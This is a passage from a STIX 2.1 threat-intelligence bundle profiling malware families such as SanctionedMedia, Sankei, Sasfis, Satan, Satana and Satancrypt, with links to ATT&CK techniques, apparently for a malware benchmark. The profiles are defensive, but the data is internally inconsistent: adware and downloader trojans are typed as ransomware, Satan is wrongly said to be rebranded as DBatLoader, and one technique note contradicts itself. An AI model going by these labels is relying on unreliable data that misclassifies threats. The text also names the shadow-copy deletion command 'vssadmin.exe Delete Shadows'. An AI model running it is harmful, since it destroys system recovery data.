      "spec_version": "2.1",
      "id": "relationship--56239876-ed2c-5b3f-972d-acb636e4d020",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c66e047f-c616-5db6-9b65-ba12c2db0991",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samsam exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--994b4b74-8db3-507a-a92b-498e8bf22d50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c66e047f-c616-5db6-9b65-ba12c2db0991",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samsam exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ec868311-7372-5421-be8a-88574d994a45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sanctionedmedia",
      "description": "<h3>Executive Summary</h3>\nSanctionedMedia is a classification for a broad category of Adware and Potentially Unwanted Programs (PUPs). Its primary objective is unauthorized monetization through the aggressive tracking of user web behavior and the injection of intrusive, highly targeted advertisements (such as pop-ups, pop-unders, and embedded banners) into the victim's web browser, severely degrading system performance and privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSanctionedMedia adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically install this threat inadvertently when downloading \"free\" utilities (like media players or PDF converters) from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Integration:</strong> The adware installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers (Chrome, Firefox, Edge). It may also alter the browser's default homepage and search engine to route traffic through affiliate marketing portals.</li>\n<li><strong>Ad Injection and Overlay:</strong> SanctionedMedia significantly degrades the user experience by injecting its own advertisements into legitimate websites. It often overlays legitimate ads with its own, spawns new browser windows, or highlights random text on a page to create hyperlinked ads leading to dubious products or services.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile SanctionedMedia is not typically designed to destroy data like ransomware or steal banking credentials like an Info-stealer, it poses a severe privacy risk and significantly degrades system performance (causing browser crashes and high CPU usage). Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars often bearing names related to \"Media,\" \"Search,\" or \"Deals.\"</li>\n<li><strong>Browser Reset:</strong> Because SanctionedMedia deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SanctionedMedia",
        "PUP.SanctionedMedia",
        "Win32/Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sanctionedmedia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sanctionedmedia"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e14fad5b-b20d-587f-8e42-7fc1cf8cc40a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec868311-7372-5421-be8a-88574d994a45",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sanctionedmedia exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07d6a4d6-1b77-57f5-88ea-225ef40c3d8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec868311-7372-5421-be8a-88574d994a45",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sanctionedmedia exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4cd63ea5-33e4-5ab4-bde6-22610ef24d10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec868311-7372-5421-be8a-88574d994a45",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sanctionedmedia exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8851d1d0-4d5a-5a4f-868a-a23d041a1bbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sankei",
      "description": "<h3>Executive Summary</h3>\nSankei is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSankei is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sankei operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sankei ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sankei receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sankei infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sankei executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sankei frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sankei",
        "Downloader.Sankei",
        "Win32/Sankei"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sankei",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sankei"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d47b750-5ea9-538c-8184-a24bde9be6d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8851d1d0-4d5a-5a4f-868a-a23d041a1bbe",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sankei exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dec7ed38-b6e8-599f-968f-d5e1292b7e4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8851d1d0-4d5a-5a4f-868a-a23d041a1bbe",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sankei exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3a28c1d-e617-5b1a-949e-d6b00af3d2c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8851d1d0-4d5a-5a4f-868a-a23d041a1bbe",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sankei exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4aafb2fb-3b20-5d09-bfc5-2d43910a7218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sasfis",
      "description": "TrojanDownloader:Win32/Sasfis is a prevalent, highly active botnet component and downloader trojan. It is primarily utilized by cybercriminal syndicates as a 'first-stage' loader. Once a machine is infected with Sasfis, it effectively becomes a node in a vast botnet, quietly waiting for commands from a C2 server to download and execute secondary, more damaging payloads, typically massive spamming engines or aggressive banking trojans.<br><br><b>Understanding the Sasfis Downloader</b><br>To an end-user, Sasfis operates entirely in the background; they may only notice a slight decrease in network performance. For an enterprise, a Sasfis detection is a major red flag indicating a total failure of email filtering and endpoint protection, and strongly suggests that the machine has already downloaded subsequent malware families.<br><br><b>Execution and Payload Delivery</b><br>Sasfis is notoriously spread via massive, generic malspam campaigns (e.g., fake invoices, shipping alerts) containing weaponized ZIP files or Office macros (`T1566.001`). Upon execution, the malware copies itself to the Windows `%AppData%` or `%System32%` directory and creates a Registry Run key for persistence (`T1547.001`). It then initiates a beacon to its C2 infrastructure using standard HTTP/HTTPS over port 80/443, making it difficult to distinguish from normal web traffic (`T1071.001`). The C2 server responds with encrypted URLs pointing to secondary payloads. Sasfis downloads these payloads, decrypts them in memory, and injects them into legitimate processes (`T1055`) to evade detection.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a guaranteed secondary infection. Host-based IoCs include EDR alerts for unknown executables in `AppData` initiating outbound HTTP GET requests to known malicious domains or raw IP addresses. Network IoCs include consistent, high-frequency beaconing traffic. Security analysts should closely examine process execution logs to see what child processes the Sasfis executable spawned after its initial network connection. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sasfis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sasfis"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--598210c5-e079-511d-8535-b2537a45270b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aafb2fb-3b20-5d09-bfc5-2d43910a7218",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasfis exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff586228-a814-51b2-9545-a00b78f39384",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aafb2fb-3b20-5d09-bfc5-2d43910a7218",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasfis exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Beaconing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c01b5edf-0d72-5bed-aecd-c64348fb500e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aafb2fb-3b20-5d09-bfc5-2d43910a7218",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasfis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c39a5133-f445-5401-8d3b-a2652c4e8f0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aafb2fb-3b20-5d09-bfc5-2d43910a7218",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasfis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sasquor",
      "description": "Trojan:Win32/Sasquor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sasquor</b><br>To an end-user, a Sasquor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sasquor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sasquor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sasquor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sasquor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sasquor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sasquor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82d5d3b7-8627-5f2a-8f9f-e7fcc2489594",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasquor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e77b8af-cac9-527f-b4a8-d7e4bfb9b188",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasquor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c4af17b-b93b-5980-bd87-8939e02e732e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasquor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--494cac37-42d4-539d-83da-574eb60b34d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasquor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13a3422c-65a9-5404-bce4-e5e9a3c367c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc226120-92ea-526c-95c6-d2b5460109ec",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sasquor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74141a54-dadf-5845-8f59-4bc25f9ecade",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Satan",
      "description": "Satan (also known as Satan Ransomware, later rebranded as DBatLoader / Lucky Ransomware, and tracked under signatures including Ransom:Win32/Satan, Trojan-Ransom.Win32.Satan, and Ransom:Linux/Satan) is a landmark Ransomware-as-a-Service (RaaS) platform active since January 2017. Created by cybercriminals to democratize ransomware deployment, Satan operated an underground web portal where affiliates generated customized ransomware binaries and tracked extortion payments. Notably evolving into a multi-platform threat targeting Windows and Linux servers, Satan incorporates worm-like self-propagation capabilities, scanning internal subnets and exploiting known enterprise vulnerabilities\u2014including EternalBlue (CVE-2017-0144), JBoss (CVE-2017-12149), Tomcat, and WebLogic (CVE-2017-10271)\u2014to compromise enterprise servers and encrypt file systems using AES-256 and RSA-2048 encryption. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Satan",
        "Trojan-Ransom.Win32.Satan",
        "Lucky Ransomware",
        "Satan RaaS",
        "Win32/Satan",
        "Ransom:Linux/Satan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Satan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/satan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6ebfb951-47d6-5f5f-a4b8-6b1f3f95e529",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Satana",
      "description": "<h3>Executive Summary</h3>\nSatana is a highly destructive, hybrid ransomware variant that combines traditional file encryption with the catastrophic capabilities of a boot-locker. It not only encrypts the victim's valuable data files but also corrupts the Master Boot Record (MBR) of the hard drive, replacing the standard Windows boot sequence with a custom ransom note. This dual-pronged attack ensures the system is completely unbootable and the data is inaccessible until a ransom is paid.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSatana typically infiltrates networks via malicious spam campaigns (malspam) containing weaponized attachments, or it is dropped silently via exploit kits targeting unpatched web browsers.\n\nOnce executed, Satana performs a complex, multi-stage attack:\n<ul>\n<li><strong>MBR Overwrite (Boot-Locker):</strong> The ransomware attempts to overwrite the MBR (sector 0 of the physical drive) with its own malicious bootloader. When the infected machine reboots, it will not load Windows; instead, it displays a red screen demanding a cryptocurrency payment.</li>\n<li><strong>File Encryption:</strong> Simultaneously, Satana scans local drives and mapped network shares, utilizing strong cryptography (AES+RSA) to encrypt user files, databases, and documents, appending a specific extension to the locked files.</li>\n<li><strong>Evasion and Persistence:</strong> To ensure its payload is delivered, Satana attempts to disable Windows User Account Control (UAC) and actively targets specific security processes for termination before initiating the MBR overwrite.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Satana infection is a catastrophic security incident. By targeting both the file system and the fundamental boot sector, it causes immediate, total operational paralysis. Even if the encrypted files are restored from backup, the machine will not boot until the MBR is repaired.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Instantly sever the network connection of all infected machines to halt lateral movement and prevent the ransomware from encrypting mapped network shares.</li>\n<li><strong>MBR Repair (Offline):</strong> The machine cannot be booted normally. Incident responders must boot the system from a clean Windows Recovery USB/CD and utilize the `bootrec.exe /fixmbr` command to repair the Master Boot Record, which will remove the pre-boot ransom note and allow Windows to load.</li>\n<li><strong>Eradication and Data Recovery:</strong> Once the system is bootable, the underlying file encryption remains. The machine must be wiped to bare metal and completely rebuilt from known-good, offline backups. Do not attempt to pay the ransom.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Satana",
        "Trojan-Ransom.Win32.Satana",
        "Bootlocker.Satana"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Satana",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/satana"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab0a862a-17ab-5196-b172-6ff30268f76c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ebfb951-47d6-5f5f-a4b8-6b1f3f95e529",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satana exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cbc5e4b-5dfe-5a69-a7c9-05ddb9d1aa32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ebfb951-47d6-5f5f-a4b8-6b1f3f95e529",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satana exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2de385e6-4375-5c20-8eef-ff72291ace74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ebfb951-47d6-5f5f-a4b8-6b1f3f95e529",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satana exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f2b2a8f-9f00-5244-8755-ddc593231460",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Satancrypt",
      "description": "<h3>Executive Summary</h3>\nSatancrypt (often related to the \"Satan\" Ransomware-as-a-Service family) is a highly destructive strain of enterprise ransomware designed to infiltrate corporate networks, rapidly encrypt critical file systems and databases, and demand a cryptocurrency payment for the decryption key. It is known for its aggressive targeting of database servers and its use of a centralized affiliate model for distribution, making it a severe, immediate threat to business continuity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSatancrypt affiliates typically gain access to networks through compromised Remote Desktop Protocol (RDP) connections, malicious spam campaigns, or by exploiting public-facing web vulnerabilities (such as unpatched Tomcat or WebLogic servers).\n\nOnce inside the network, it executes a devastating attack chain:\n<ul>\n<li><strong>Service Termination and Defense Evasion:</strong> The malware actively attempts to terminate endpoint security services and crucially, stops database services (SQL Server, Exchange, MySQL) using command-line tools to ensure those files are unlocked and available for encryption. It also deletes Volume Shadow Copies (`vssadmin.exe Delete Shadows`) to prevent easy data restoration.</li>\n<li><strong>Rapid Encryption:</strong> It utilizes strong cryptography (AES+RSA) to encrypt user files, databases, and network shares. The encrypted files are appended with the `.satan` or `.satancrypt` extension, and a ransom note (`HELP_DECRYPT_FILES.html`) is dropped into every affected directory.</li>\n<li><strong>Lateral Movement:</strong> Satancrypt variants are known to contain built-in lateral movement capabilities, attempting to spread to other machines on the local network using tools like Mimikatz to dump credentials and pass-the-hash.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Satancrypt infection is a catastrophic security incident that immediately halts business operations. It poses an existential threat to the organization through severe data loss, extended downtime, potential regulatory fines, and reputational damage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not simply turn off the machines, as this destroys volatile memory forensics. Instantly sever the network connection of all infected machines from the internet and the rest of the LAN to halt lateral movement and data exfiltration.</li>\n<li><strong>Engage Incident Response:</strong> Immediately engage specialized third-party Incident Response and legal counsel. Do not attempt to negotiate with the threat actors without professional guidance.</li>\n<li><strong>Eradication and Recovery:</strong> Eradicating ransomware requires a complete infrastructure rebuild. All affected machines must be wiped to bare metal and rebuilt from known-good, offline backups. All enterprise credentials must be rotated globally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Satan",
        "Trojan-Ransom.Win32.SatanCrypt",
        "Win32/Satana"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Satancrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/satancrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8c08d05-cbff-5f80-9356-09c5dde50432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2b2a8f-9f00-5244-8755-ddc593231460",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Satancrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37bf95d5-da31-560c-b23e-10b0724ac1d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
